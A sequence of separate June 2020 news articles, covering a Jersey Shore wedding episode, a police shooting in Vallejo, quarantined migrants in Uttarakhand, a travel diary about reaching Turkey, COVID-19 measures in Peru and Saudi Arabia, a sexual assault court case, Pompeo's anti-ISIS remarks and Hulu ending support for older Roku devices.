Hex: Jenni told Angelina about the dream, and Nicole asked if Grandma Angelina had hexed Jenni

Grandma: 'Grandma, did you hex her?' Angelina asked her nonna, who was sitting quietly in a corner

'She had a dream her teeth fell out,' Deena Cortese, 33, volunteered.

'Told you,' Grandma Angelina muttered, indicating that there was 'bad news' to come.

The girls realized they hadn't written down their speech for the wedding, and hurried to do so.

Bad news: 'Told you,' Grandma Angelina muttered, indicating that there was 'bad news' to come

Dream: 'She had a dream her teeth fell out,' Deena Cortese, 33, volunteered

They dedicated it to 'the dysfunctional but perfect couple,' and planned to tell Angelina, 'You're the trash to my bags, period to our s***. You're the dump to our island.'

They discussed the fact that Angelina loved drama, and Jenni bet that someone was going to get in a fight or argument at her wedding.

'I'm waiting for her to be a Bridezilla,' Nicole said of the bride.

Speech: They dedicated it to 'the dysfunctional but perfect couple,' and planned to tell Angelina, 'You're the trash to my bags, period to our s***. You're the dump to our island'

Deena agreed, adding, 'I'm here for it. As long as it's not to us.'

In her dressing room, Angelina complained about everything, saying that something smelled 'like fish,' that phones should be banned at the wedding, that they needed confettino matter what.

She took photos with the Jersey Shore women as her moment approached, and observed, 'It means so much to me that the girls and I have gotten so close.'

Angelina: In her dressing room, Angelina complained about everything, saying that something smelled 'like fish,' that phones should be banned at the wedding, that they needed confettino matter what.

Jenni then spoke to Angelina's sister, Alyssa Pivarnick, about Grandma Angelina.

Alyssa said her grandmother had a tendency to give people a glazed look, and said that she herself sometimes felt like the woman didn't like her.

She re-introduced Jenni to Grandma Angelina, and the psychic gave Jenni another death stare.

Introduce: She re-introduced Jenni to Grandma Angelina, and the psychic gave Jenni another death stare

Suddenly, the woman snapped out of it, crying 'Aaah!' and jumping up to hug Jenni warmly.

Jenni was thoroughly confused by the change, noting privately that it 'might be the biggest mindf*** I've ever dealt with in my life.'

She asked Grandma Angelina why she'd given her such a cold stare when they initially met.

Hug: Suddenly, the woman snapped out of it, crying 'Aaah!' and jumping up to hug Jenni warmly

Mindf***: Jenni was thoroughly confused by the change, noting privately that it 'might be the biggest mindf*** I've ever dealt with in my life'

The woman laughed disconcertingly, telling Jenni there was a negative energy at the wedding that she couldn't stand.

When Jenni asked Grandma Angelina if she had 'hexed' her, the woman said she reserved that for 'girls I don't like, b****es I don't like.'

'Grandma's got me shook,' Jenni said in a confessional. 'I don't know what will cure this, if I need a mimosa, or I need to go straight to tequila, but I need to ingest something very heavy to get this feeling gone.'

Negative: The woman laughed disconcertingly, telling Jenni there was a negative energy at the wedding that she couldn't stand

Shook: 'Grandma's got me shook,' Jenni said in a confessional. 'I don't know what will cure this, if I need a mimosa, or I need to go straight to tequila, but I need to ingest something very heavy 'to get this feeling gone'

Grandma Angelina then told Jenni and Nicole she was a 'healer' and 'a white witch of God.'

'Oh, okay,' a nonplussed Nicole said. 'I didn't know that was a thing. Cool.'

Nicole turned to the rest of the people in the room and announced that Grandma Angelina was a white witch of God, which made the woman snap, 'Did you have to say that out loud?'

Healer: Grandma Angelina then told Jenni and Nicole she was a 'healer' and 'a white witch of God'

'We're kidding!' Grandma Angelina yelled, motioning to the cameras to cut.

With just a bit of time left before her wedding march, Angelina went downstairs in full bridal regalia to have her 'first look' moment with Chris.

In a departure from older traditions, she was presenting herself to her husband before saying 'I do,' and Chris was about to get his first glimpse of her.

March: With just a bit of time left before her wedding march, Angelina went downstairs in full bridal regalia to have her 'first look' moment with Chris

Tradition: In a departure from older traditions, she was presenting herself to her husband before saying 'I do,' and Chris was about to get his first glimpse of her

Everyone watched them from the balcony as Angelina walked up to Chris and tapped him on the shoulder.

When he turned around, he was sobbing. 'You look so gorgeous!' he told his bride, as they kissed and exchanged 'I love you's.'

'It just feels so good to know that there's somebody in this world that loves me the way that Chris loves me,' Angelina said. 'I cannot wait to get married. It's just going to be such an amazing night.'

But in a preview of next week's wedding episode, Mike 'The Situation' Sorrentino, 37, compared the evening to the Titanic, suggesting it was another grand disaster.

Jersey Shore: Family Vacation returns next week on MTV.

First look: Everyone watched them from the balcony as Angelina walked up to Chris and tapped him on the shoulder

Kiss: 'It just feels so good to know that there's somebody in this world that loves me the way that Chris loves me,' Angelina said. 'I cannot wait to get married. It's just going to be such an amazing night'
Police walk through tear gas as they try to disperse protesters in Las Vegas on May 30, 2020. Three Nevada men with ties to a loose movement of right-wing extremists advocating the overthrow of the U.S. government have been arrested on terror charges in what authorities say was a conspiracy to spark violence during recent protests in Las Vegas (John Locher/AP)
The government will spend $1.5 billion buying new aircraft for the Defence Force.

Five Lockheed Martin Super Hercules transport aircraft will replace the existing fleet, says Defence Minister Ron Mark.

Along with the new fleet, the $1.521 billion project will deliver a full mission flight simulator and other supporting infrastructure.

Last year, cabinet selected these aircraft as the preferred option to replace the current Hercules fleet, says Mark.

The aircraft and simulator are being acquired through the United States Foreign Military Sales process as part of a package that includes aircrew and maintainer training.

Mark says this has reduced costs and allows collaboration with other nations on developments and system upgrades that will be necessary over the life of the aircraft.

Generations of New Zealanders have grown up and grown old with the Hercules, and they know these aircraft are an essential first line of response.

The new aircraft will carry a greater payload, are faster and can travel further than the current Hercules aircraft, says Mark.

This fleet will ensure the Defence Force can continue to support New Zealands community resilience, our national security, our contribution to our Pacific neighbours and the wider global community.

The first of the new Hercules will be delivered in 2024, with the full fleet operating from 2025, allowing for a phased retirement of the current fleet.

The government has also approved $21 million to upgrade systems in the Air Force NH90 helicopters to comply with regulatory and operational requirements.
This man of color is another victim of police killing, and similar to George Floyd's death, he was unarmed and kneeling to when a cop shot him, reports said. This time, the killing took place in California.

Sean Monterrosa, a Latino man from San Francisco, was reportedly kneeling on the ground when Vallejo police fatally shot him early morning on Tuesday.

Chief Shawny Williams said, 22-year-old "Monterrosa was kneeling in front of a Walgreens he was alleged of breaking into" when he was shot by an officer. Records showed he was shot five times through the windshield of a car.

The police chief claimed that the cop was among the many that arrived at around 12:36 a.m. in the Walgreens parking lot where there was a crowd of up to 12 people.

Responding to Reports of Looting

Heavy.com reported, police first received a call to the Walgreens in the evening on June 1, at around 10:17 p.m. in the middle of reports of looting.

Then, two hours later, officers again received a call, the second, specifying that looters had gone back to the Walgreens, trying "to break into the pharmacy."

Upon arrival at the scene, police then started to observe the crowd said to be filing into a black sedan and a silver truck.

The officers also claimed, the black sedan bumped into the unmarked cruising resulting in an injury of the officer inside the vehicle before the rushed out of the parking lot behind the truck. Not long after, Williams said, the silver truck was apprehended.

Williams claimed too, as reports indicated, Monterrosa was trying to escape the scene but changed his mind. He, the police chief continued, seemed "to be running toward the black sudden." Abruptly though, the officer said, Monterrosa, stopped, took a kneeling position, and placed both of his hands above his waist.

While in kneeling position, the suspected looter was reportedly revealing what seemed to be a handgun's butt, which later on, the investigations unveiled to be a "long 15-inch hammer" tucked inside his top's pocket.

Williams also explained that the officer, who remains unidentified until now, assumed that the hammer inside Monterrosa's pocket was a gun and thus, he did not waste any more time to take aim at him, "firing several shots" although, he reported, just one bullet hit the victim.

What Threat was Presented?

The officer who shot Monterrosa, though remains unidentified, has reportedly been a part of the force for 18 years now.

According to John Burris, the Monterrosa family's attorney, the officer did not see the 22-year-old man "put his hands on in a threatening way." The question here, therefore, is, the lawyer continued, "What threat if any, did he actually present?"

The authorities, for their part, said Monterrosa had engaged in looting the Walgreens in the middle of demonstrations over the police killing of George Floyd, also an unarmed "man of color."

A GoFundMe page has been made on behalf of the victim's family to pay for the legal expenses, as well as his funeral.

Incidentally, Vallejo police force came under fire in 2019 for the deadly shooting of 20-year-old aspiring rapper, Willie McCoy. He was reportedly shot more than 50 times by police while he was sleeping inside his car at a Taco Bell branch.

Check these out!
A heartwarming tale of how they used the time to beautify the schools where they are quarantined.

Laxmi Negi/Redff.com reports.

IMAGE: The returning migrants of Mijgaon village clean the premises of their quarantine centre. Photograph: Kind courtesy Pradeep Singh Chauhan/Facebook

They are in quarantine for the last two months, but these men in the hills of Garhwal are setting new examples of selflessness.

When they were not provided proper lodging and food by the local authorities, they did not complain.

Instead, they set to work.

Though they were exhausted from days of travel on hungry stomachs, they decided they would make their circumstances better instead of battering their heads against the public system.

They began enhancing their quarantine centres. They painted the schools and cleaned the surroundings.

Some of them planted a few saplings.

Now, all they hope is that their good work is remembered.

IMAGE: People who were quarantined in the school started painting it. Photograph: Kind courtesy Jaman Singh Chauhan/Facebook

Jaman Singh Chauhan answers his phone instantaneously, his voice content."Mein azaad ho gaya (I have been freed)," he declares.

The 30-year-old native of a small hamlet called Badeth in Pauri district in the hills of Uttrakhand cannot contain his happiness. The doctor at the health centre in Paithani had declared him 'fit' earlier in the day.

The moment he left the quarantine facility -- the Rashtriya Prathamik Vidyalaya, Badeth --, on his way to the health centre, he climbed a kafal (Himalayan wild bayberry) tree and gathered a pocketful of the sweet-sour berries.

"After eight long years, I am home in the kafal season and I could not resist," he says.

Kafal is the state fruit of Uttarakhand. It grows on small-sized trees or shrubs. Its fruiting season commences from mid-May and continues till June.

In that moment, he forgot how, barely a few weeks ago, he was cooped up with his co-workers in a small hotel in Jalandhar.

One by one, his co-workers started leaving for their respective villages, leaving him alone and homesick.

He began to fear he would be stuck all alone in the city and regretted ignoring his parents's requests for his immediate return.

Subsequently, he endured a rough two-day journey, crammed into a tempo with six other men from different villages in his district of Pauri.

His journey ended after a gruelling 12 kilometre walk to the designated quarantine facility in his village, which was to be his home for the next couple of weeks.

To his horror, the school which was closed for last two months was not habitable.

"'There was no bedding and the village sarpanch told us no food will be provided. I called my parents who, from then on, provided all the meals," he says.

"The anganwadi centre located just below this school had cooking facilities like a gas stove, but we were denied permission to use it. After that, I did not want to ask anything from the village authorities," he adds.

After a few days, he started feeling restless.

"For the first few days," he says, "you want to rest, but gradually you are overcome by boredom."

A group of 10 to 12 men quarantined at the centre along with him and, to pass the time, they started looking for activities to keep themselves busy.

Incidentally, this was the same school they had studied at until Class 8. And now, it was in a state of complete disrepair.

A spare can of paint was stored in a corner.

The men decided to put their time to good use and undertake maintenance and painting work.

Pahadis -- as people who live in hilly and mountainous terrain are called -- are not used to complaining.

"We make do with whatever is available," he says.

His co-habitant in quarantine, Laxman Singh Chauhan, had travelled four gruelling days on a Shramik train from Hyderabad to reach Pauri.

He too didn't lose time and started guiding the other men in cleaning and painting the school where his 13-year-old daughter currently studies.

"She has been coming here three-four times a day to give me meals and tea. She was surprised to see us painting and has followed the progress from then on," he smiles.

The 40 year old beams with pride and says, "Now, my daughter will think of me whenever she is in school."

He is happy that he has helped improve the school's infrastructure.

"All of us have the basic know-how of painting; we do it all the time in our houses here in the village. So when we saw the paint lying here, we made use of our talent."

"No one asked us or forced us; we did this out of our own free will."

Ask them if they will return to the city for work and Jaman Singh replies firmly, "No." He plans to buy a buffalo or start poultry farming.

But Sarat Singh Chauhan, who started working in an export firm in New Delhi, says, "I have no option but to return when this pandemic ends.

His wife, who had joined him a few months ago in the capital, is too scared to venture out now. "It was her first trip to any city and she suffered. She refuses to even think about going to anywhere out of her village now," says Sarat Singh.

Cleaning the school premises

The youth of Pauri's Mijgaon village keep a check on each other through their WhatsApp group.

"After the men from our village started returning, our group has become all the more active," says Prabhat Singh Chauhan, who works for Uttrakhand Tourism in Dehradun. "Whatever they need in the quarantine facility is provided to them."

The village sarpanch, he says, let them down as there was no arrangement of food and lodging.

"It is shocking that the sarpanch did not visit the quarantine centre. But what can we expect as, in the last 10 years, nothing has changed in our village? There has been no development here," alleges Prabhat Singh.

When his cousin and six others returned to their village from Pune, they were put up at the Rashtriya Prathamik Vidyalaya, Mijgaon.

"In Pune," says Pradeep Singh, "we ran from pillar to post to get passes and kept waiting for our names to appear on the government Web site for travel, but it didn't happen."

So 19 of them got together and booked a private bus, each paying Rs 8,000, and reached home in four days.

At the district headquarters, Pauri, they were asked some basic questions if any of them had any symptoms and, surprisingly, did not have to undergo any tests.

Pradeep, 27, who works at a canteen in Pune, says, "We told the authorities we are travelling from Maharashtra, one of the worst-hit states, but they just checked our temperatures and asked us to proceed."

"When were travelling in the bus, I was sure we would be put up in the school and, since it was closed for few months I was sure it must not have been cleaned. I was thinking of cleaning the premises," he adds.

"When we reached, the condition of the school was as poor as we had imagined. Since there was no bedding available, we asked our families to make the arrangements along with meals."

"We asked the sarpanch to give us spades, shovels and digging trowels, but all we got was lip service," he adds.

"Later, we asked our families to get us tools from our homes and we started with the cleaning work. There were lots of weeds and the ground was uneven," he says. "There were plenty of bricks scattered around, so we collected those and put them to use."

"Who doesn't like stay in a clean environment? It looks much nicer now!"

"This cleaning of our school is just the beginning," he says. "We want to do a lot more. There is no stopping us now."

"We have been informed that people travelling from Maharashtra will be in quarantine for 21 days. We are fine with it. We will co-operate because, at the end, the health of our families is at stake," says Pradeep.

"Here, our villagers have to travel for almost 2 to 3 hours to a hospital for a small fracture. If this pandemic hits us, we are doomed," says Sandeep Singh Chauhan, who has also returned from Pune.

Another problem for the nine men in quarantine is water scarcity.

"The neighbouring villages don't have a problem, but we don't get proper water supply in our village. Water scarcity is worst during these times and one of the hindrances in our cleanliness drive," says Sandeep.

Anand Singh Negi, who works as part of the kitchen staff in Chandigarh, patiently waited for his name to appear on the government Webs ite to get the green signal to travel to his native place.

He had all the necessary papers when he got into the Uttarakhand government bus with his two children and his wife.

They got the go-ahead from the Chandigarh police after completing the screening and other necessary check-ups and were re-checked at Haridwar and finally at the district HQ, Pauri.

After two gruelling days of travel, they finally reached their village and were immediately directed to the quarantine facility.

His parents had come to welcome him, but had to maintain a safe distance. They wanted to hug them, but could not risk it.

For the first few days, their village sarpanch -- not the same sarpanch mentioned above -- provided Anand Singh's family and seven other people in the quarantine centre with food prepared from his home.

After four days, they were provided dry rations and they started cooking in the school premises. The gas stove was provided by their sarpanch, Uttam Singh Negi.

IMAGE: People quarantined at the primary school were not provided with beds or food. Photograph: Kind courtesy Pradeep Singh Chauhan/Facebook

When he reached the school premises, he too was not happy with its condition and joined in the clean-up with the other men.

He also cleaned the surroundings and planted some marigold saplings.

For now, Anand Singh wants his children to enjoy the environment in their village.

When it comes to the other children, he hopes they will remember him and the others for the good work they did at their school.
Picture The Scene

Five strangers come together with one aim; to be reunited with their families far far away. They climbed mountains, swam rivers, trekked jungles, faced danger and adversity day after day, hour after hour, until they finally reached their destination, cold, tired, hungry, delirious with thirst

Ok, well like any true storyteller Ive quite possibly embellished it a little so make a cuppa, sit down and Ill tell you what really happened.

How It Began

It all started just after the flight that never was, was completely cancelled. Two of the original organisers had got the bit between their teeth and were determined to get home no matter what it took. Luckily for me Im friends with one of them so I was invited along for the ride.

One minute we were catching the Eurostar to Dusseldorf and then an onwards flight, the next minute it was via Cologne, even a stay in Minsk was discussed (briefly Im relieved to say). Then I got a call asking if I could be ready to go home in two days as I was booked on a flight to Bulgaria.

Was I ready? Of course I was ready. Id been ready for two months.

The First Step

The journey started on Sunday 31st May when I met my friend, Janet, in Luton for an overnight stay. That in itself was a little challenging. The hotels near the airport werent open so we booked a studio apartment nearby. Turns out it was a building used by the local council to temporarily house people. My bed was in the kitchen, only one plug socket worked, the loo seat wasnt attached to anything, the handles on the dirty windows were lying on the windowsill, we had one towel between us and the lift smelt of broccoli (apparently it was marijuana my more worldly travelling companion informed me). Although everyone we saw seemed nice we did take the extra precaution of putting our suitcases up against the door, and briefly wondered if there would still be wheels on the hire car the next morning! Luckily for us the only things active that night were our imaginations and all was well the following day.

Meeting New Friends

On the Monday we headed over to the airport. There were no other flights going so it was easy to spot our fellow travellers who consisted of a chef to the stars, a wee Scottish lassie and a biker. We greeted each other with relief and apprehension but were soon distracted by a guy giving a staff member grief because he had turned up for his Easyjet flight but couldnt find it. Seriously?! I can only assume he had been living in a cave for the last three months!

Everything was closed at the airport apart from a Boots & WH Smith. The check-in process was as normal. The security checks were mostly the same except for one extra fella who clearly didnt like our biker much and questioned him on all aspects of his life, the chef was searched on the basis of his Colonel Abrahams baggy trousers (remember them?) and a lady, who I can only assume has been living in the same cave as our friend earlier, was escorted from the airport after telling security she was going on holiday.

A very empty airport

And Were Off

Not long after, we were taken to our Wizz Air flight. Apart from mask wearing you really wouldnt know anything was different  there was a trolley service, duty free sales and no social distancing.

Nearly there

On our way

When we landed at Sofia Airport we, and everyone else, did that thing we always swore wed never do. Yes, thats right, we clapped. I think you can probably let us off under the circumstances though.

We went through passport control with the minimum amount of fuss once wed filled in a form asking why we were there and giving contact details in case someone on the flight was affected.

Next Step

After wed gained our freedom we found Dimitris, our driver for the next leg of the journey.

Our driver, Dimitris  friend or foe?

We had chosen a border a little further away that we knew was small, open 24 hours and where you could walk across. Dimitris was an absolute angel despite having to put up with five hyperactive, nervous, hungry individuals with weak bladders who had to stop for frequent loo breaks during our six hour journey. We all got to know each other pretty well in that six hours and, with three of us being from the Fethiye area, had a number of mutual friends.

Made it to Bulgaria

The last hour of the journey was down dark, winding country lanes and we started to ponder the fact we really didnt know Dimitris that well. Was he driving us to the border, or was he taking us to an isolated farm where he would butcher us and turn us into the Bulgarian dish, Kebapche. Luckily for us he wasnt hungry and the border crossing loomed into view shortly afterwards.

Not far to go now

Goodbye Bulgaria

It was 1am when we arrived and the place was deserted. There were more stray cats than people wishing to cross the border. Border guards appeared looking understandably baffled as five bedraggled foreigners emerged from the darkness carrying luggage that contained coffee makers, slow cookers and all those other useful things you cant travel without.

Ten minutes later and with our passports stamped we bade farewell to the wonderfully patient Dimitris who agreed to stay put until we rang him from the other side of the Turkish border. Then we began the walk into the unknown, towards the dim light that was the border crossing. Were they going to let us through? Were we going to be stranded in no mans land forever? Were we going to feature in the sequel to Midnight Express? Was Dimitris going to get the opportunity to have us for breakfast, lunch and dinner? Would he use my slow cooker to simmer us for a few hours? Would we find ourselves once again in a bedsit in Luton?

No Mans Land, our sights are on the Turkish border

Well, youll have to wait for the next installment to find out exactly what happened

This article was written for Fethiye Times by Sian Midgley

If youve missed Sians story so far, please click on the links below:

Stranded

One Step Closer

The Waiting Game

Life Is A Rollercoaster
Source: Xinhua| 2020-06-05 05:54:21|Editor: huaxia

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LIMA, June 4 (Xinhua) -- Peruvian doctors have consulted a visiting team of medical experts from China about their experiences in and knowledge on treating patients with the novel coronavirus.

During the encounter in the city of Arequipa on Wednesday, the team of four Chinese medical experts met with the regional governor, Elmer Caceres, as well as Health Ministry officials and representatives of local hospitals.

To effectively combat the COVID-19 pandemic, China relied on three basic principles, which are diagnosis, isolation of the patient and treatment, said Guo Yi, deputy director of the Nanfang Hospital's medical department.

"You have to stop transmission at the source" and testing is the key, said Guo.

"The best way to prevent the spread of the novel coronavirus is to make an early diagnosis of COVID-19 and put the patient in mandatory quarantine," added Guo.

The Chinese experts toured Honorio Delgado Espinoza Hospital, which is now dubbed the COVID-19 Hospital, as it has become the regional treatment center.

The other members of the Chinese delegation are head of the pulmonology department Liu Laiyu, deputy director of the infectious diseases department Zhou Hao, and deputy director of the neurology department's intensive care unit Wu Yongming.

Peru is one of Latin America's hardest hit countries, with 183,198 COVID-19 cases and 5,031 deaths as of Thursday.

The delegation arrived for a visit of approximately 10 days on May 23, at the invitation of the Peruvian government to help the country curb its outbreak. Enditem
The National Union of Ghana Students (NUGS) is alarmed by the gang rape and the murder of a 23-year-old student Miss Vera Omozuwa in the church on Saturday 30, May 2020.



The victim was a level 100 Microbiology Student of the University of Benin (UNIBEN).



According a statement signed by Nugs President, Isaac JAY Hyde says: "such vice is just one of the endemics currently confronting the continent in a contemporary age, and until such is tackled head on, we fear it shall thrive across cultural fibres."



"In the months ahead, it will be equally substantial that authorities and civil society work together to address the underlying causes of violence against women and girls," portion of the statement read.



Read full statement below:



National Union of Ghana Students ( NUGS) is alarmed by the gang rape and the murder of a 23-year-old student Miss Vera Omozuwa in the church on Saturday 30/05/ 2020.



The victim was a level 100 Microbiology Student of the University of Benin (UNIBEN).



It goes without saying such vice is just one of the endemics currently confronting the continent in a contemporary age, and until such is tackled head on, we fear it shall thrive across cultural fibres.



Therefore, we do not only condemn the dastardly act, but also urge the entire continent to become concerned about the number of and abusive incidents against our women and girls throughout Africa.



Moreso, this is of grave heights especially when many of these cases are students.



In the months ahead, it will be equally substantial that authorities and civil society work together to address the underlying causes of violence against women and girls.



There is no higher call in African leadership than protecting our African race and upholding justice in our quest to protecting these rights.



# SayNoToRape

# JucticeForUwa

# OneNationOne Africa



GEORGINA BUABENG BOATENG

(Secretary for Women Development, NUGS)



BROBBEY BRIGHT

(INTERNATIONAL RELATIONS SECRETARY)



Approved: H.E. ISAAC JAY HYDE ( PRESIDENT, NUGS )





Source: Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Grant Robicheaux, 39, and his girlfriend Cerissa Riley, 32, are accused of luring women home and forcing them into sex acts. (Allen J. Schaben / Los Angeles Times)

A judge denied the Orange County district attorney's request to dismiss sexual assault charges against a well-known Newport Beach doctor and his girlfriend Friday, continuing a legal saga that has been marred by a political battle between the county's current and former top prosecutor.

Grant Robicheaux, 39, and his girlfriend Cerissa Riley, 32, were charged with multiple counts of sexual assault in 2018, after former Dist. Atty. Tony Rackauckas accused the couple of using their good looks and charm to lure women home from local bars or festivals like Burning Man and then forcing them into sex acts.

But late last year, Orange County Dist. Atty. Todd Spitzer launched a review of the case after a prosecutor said there were "serious proof problems." The prosecutors who reviewed the evidence against Robicheaux and Riley later agreed there was insufficient evidence to prove this case beyond a reasonable doubt, Spitzer said earlier this year.

However, Orange County Superior Court Judge Gregory Jones rejected Spitzer's request for a dismissal Friday and said he had "concerns" about the ability of the district attorney's office to prosecute the case because of Spitzer's repeated comments critical of the investigation and of Rackauckas' decision to bring the charges.

"I have concerns with the people being able to prosecute this by way of the Orange County District Attorneys office," he said. It has been stated by Mr. Spitzer that Mr. Tony Rackauckas and his chief deputy manufactured the case."

Jones excoriated Spitzer in a 25-page ruling, contending that the prosecution's concerns about the credibility of some of the victims in the case should be settled by a jury. Jones also repeatedly questioned the validity of claims by the district attorney's office that one of its investigators had "deceived, misled, and persuaded" some victims to "slant their narratives."

Story continues

It is hard for this Court to understand how Mr. Spitzer and his deputies can reject the allegations of seven women they have never met or interviewed," Jones wrote. "It is apparent that the 'rogue' investigator met with many of the victims and apparently found them believable.

Speaking from the bench Friday, Jones also questioned whether the district attorney's office should be recused from the matter, considering Spitzer's public criticism of the case. Spitzer previously asked the California attorney general's office to take over the case, but the request was declined.

In a statement, Spitzer reiterated that he did not believe he had the evidence to justify a prosecution of the couple and expressed concern that prolonging the process would only cause "further trauma" for the women who came forward in the first place.

We have represented to the Court on multiple occasions that we do not have the evidence to prove this case beyond a reasonable doubt, and therefore we cannot legally, ethically, and morally proceed with the prosecution of this case, he said. .

Spitzer recommended all charges be dropped in February, but Jones said he wanted to conduct a careful review of the district attorney's request before taking any action. The case was set to return to court in early April, but the hearing was pushed back due to closures forced by the coronavirus.

Robicheaux, an orthopedic surgeon who gained some notoriety through appearances on a Bravo reality television show, and Riley were initially accused of luring two women home, drugging them and assaulting them at their posh Newport Beach home on separate occasions. As an investigation into the pair continued, prosecutors ultimately accused Robicheaux of assaulting seven different women and contended Riley was involved in five of those assaults.

The couple were charged with multiple felony counts including rape by drugs, oral copulation by anesthesia and assault with intent to commit sexual offenses. Rackauckas had said investigators found video evidence of the assaults that showed women who were "highly intoxicated beyond the ability to consent or resist."

But almost immediately, the case was stained by a bitter feud between Rackauckas, the county's entrenched longtime prosecutor, and Spitzer, a former county supervisor and assistant district attorney who was seeking to unseat him.

The day Rackauckas announced charges against Robicheaux and Riley, Spitzer held a news conference accusing Rackauckas of waiting to bring charges until a time when it might boost his reelection chances.

The first woman to make accusations against Robicheaux contacted Newport Beach police in October 2016, nearly two years before Rackauckas filed charges. Spitzer defeated Rackauckas in November 2018. Kimberly Edds, a spokeswoman for Spitzer, noted police did not refer the cases to prosecutors for filing at that time.

Rackauckas has defended his handling of the case, and accused Spitzer of playing politics in seeking a dismissal.

"Certainly, any prosecutor should think long and hard before dismissing such a case where multiple women have independently come forward and subjected themselves to the hard process of baring their souls to the authorities, the former district attorney said in a statement. I just hope theyre not being sold down the river for some twisted political motive.

Spitzer had accused Rackauckas of "manufacturing" the prosecution, a claim Jones scoffed at in his ruling. Jones noted searches of Robicheaux's home had turned up a wide array of intoxicants and other items that could be used to render a victim unable to consent, including the drug GHB, and that the investigation stemmed from independent claims made to the Newport Beach Police Department years earlier.

This allegation by Mr. Spitzer is simply ludicrous, and frankly raises significant concerns about his motivation in filing this motion to dismiss, Jones wrote.

Ultimately, Jones said, the war between the current and former district attorney had overshadowed any actual objective review of the case, which would need to be settled by a jury.

The public has heard from the politicians. The public has never heard from the alleged victims. Any objective analysis of this case leads to the conclusion that these charges should be put before a jury," Jones wrote. A back room dismissal by prosecutors without the alleged victims ever having the opportunity to be heard is contrary to the core values of our legal process, and the interests of the public.
Former President Jerry John Rawlings has urged the Electoral Commission (EC) to engage all stakeholders extensively as it prepares towards Election 2020.



This, according to Mr Rawlings will help prevent "unnecessary suspicion"





He said this when he addressed the 41st anniversary of the June 4 uprising at his office on Thursday.



The day was commemorated under the theme, Strengthening the Spirit of Patriotism, Resilience and Integrity in Difficult Times.



Former President Rawlings and leader of the uprising delivered the keynote address for the event which was organised virtually to the coronavirus pandemic and restrictions on mass gathering.









Source: Daily Graphic









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Source: Xinhua| 2020-06-05 23:28:03|Editor: huaxia

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RIYADH, June 5 (Xinhua) -- Saudi Arabia announced on Friday a decision to re-impose strict measures against COVID-19 in Jeddah city.

The Interior Ministry cited the reason for enforcing the measures as medical reports and an increase in the number of critical cases among infected people, the Saudi Press Agency reported.

The ministry decided to extend the curfew hours and suspend prayers at mosques, food ordering from inside restaurants and going to work.

It added that the capital Riyadh is being monitored and appropriate measures will be imposed if the situation gets worse.

Meanwhile, the Health Ministry tweeted on Friday, announcing the registration of 2,591 new cases, bringing the total number of confirmed cases in the kingdom to 95,748.

The recovered cases totalled 70,616 with 1,651 new recoveries. The death toll increased by 31 new fatalities to 642. Enditem
Secretary Michael R. Pompeo at the Ministerial Meeting of the Global Coalition to Defeat ISIS

Remarks

Michael R. Pompeo, Secretary of State

June 4, 2020



SECRETARY POMPEO: Thank you, Foreign Minister Di Maio. Luigi, I appreciate it. We are praying for your country also to continue a swift and steady recovery from the coronavirus.

To the 31 representatives with us today, thank you for participating, not only this gathering, but over the past couple of months.

Finally, as I begin, I want to especially welcome Prime Minister Kadhimi and congratulate you on behalf of the entire coalition on the new government of Iraq and its peaceful transition to power. We are all committed to your success in support of the enduring defeat of ISIS. I look forward to deepening our partnership with the people and Government of Iraq through a series of discussions, particularly the U.S.-Iraq Strategic Dialogue, which will begin later this month.

It's been just over a year since the territorial defeat of the caliphate.

That achievement proves the coalition's value and underscores America's commitment to leading its allies and partners towards shared victories. In all of our undertakings, the Trump administration expects results. Nearly eight million people in an area the size of the United Kingdom liberated  that's a deliverable.

That said, our fight against ISIS continues and it will be here for the foreseeable future. We cannot rest.

We must continue to root out ISIS cells and networks and provide stabilization assistance to liberated areas in Iraq and Syria.

We all know this: ISIS sees no order to its terrors. Just last month, they carried out a maternity ward massacre in Afghanistan, choosing to target the hospital's most vulnerable, laboring mothers and their newborns. It was a classic ISIS methodology. We've seen similar attacks in West Africa and elsewhere.

So each of us needs to keep fighting, all of us together.

The U.S. is leading the investment in our shared mission by continuing its role as the military backbone of the D-ISIS effort, and we're sharing the financial burden of Iraq's immediate recovery. Just last year, the United States pledged 100 million for the coalition's main stabilization program for liberated areas.

It's true that the pandemic is putting enormous pressure on all of our budgets, but we urge your nations to pledge to our goal of more than $700 million for 2020.

Those funds will support our work with local partners to pursue ISIS cells and networks in Syria and Iraq.

Also in the coming year, we are counting on this coalition to fund the secure and humane detention of the thousands of foreign terrorist fighters still in custody inside of Syria and in Iraq. All nations should follow Italy's example on repatriation and Germany's example on holding ISIS fighters and facilitators accountable.

Lastly, the United States looks forward to rescheduling our event to help bring a coordinated fight to ISIS in West Africa.

Thank you all so much for your contribution to our common goal. May our tremendous success so far encourage all of us to keep pushing forward to a final and enduring defeat of ISIS.

Thank you.

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Hulu will stop working on some older Roku devices starting later this month. According to a recently updated Hulu support page (via Ars Technica), Roku Streaming Player (models 2400 to 3100) and the Roku Streaming Stick (model 3420 or older) will no longer be supported as of June 24th, 2020. You can check the model number of your Roku device under the System > About section in the Roku Settings.

All of the affected models were released in 2012 or earlier and, obviously, have not been sold in quite some time.

These devices are not compatible with the latest Hulu app and are therefore losing access to the streaming platform altogether. They currently use the Hulu classic app, which does not support features like Premium Add-ons or live TV.

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Users of the affected Hulu devices may see error messages like Hulu is no longer supported on this device, or your user session has expired after June 24. You may not be able to even sign in to the app.

Hulu says newer Roku devices with model numbers 3500 and later are compatible with the latest Hulu app.

The devices include Roku Ultra, Roku Premiere and Premiere+, Roku Express and Express+, Roku 3 and 4, Roku 2 (model 4210), Roku Streaming Stick (model 3500 or later), Roku TV, and 4k Roku TV.

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These devices must be updated to firmware version 8.1 or higher to get the latest Hulu app. The modern version of the app offers several new features that are not available on the classic version.

Those include features like My Stuff, Profiles, and Guide, as well as the ability to like/dislike shows and movies. It also offers content from HBO, Cinemax, and STARZ (if subscribed), in addition to Hulus Streaming Library.

Hulu joins Netflix to drop support for older Roku devices

Hulu isnt the only streaming service to drop support for older Roku devices. Netflix also stopped working on some Roku models last year as they didnt support the digital rights management (DRM) the platform now uses.

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This could be the very reason for Hulu dropping support for older Roku devices as well. Roku OS 8.1 was released in 2018 with support for updated DRM, which publishers are increasingly pushing for. Since older models are not compatible with the new firmware, Hulu has no option but to drop support for them.
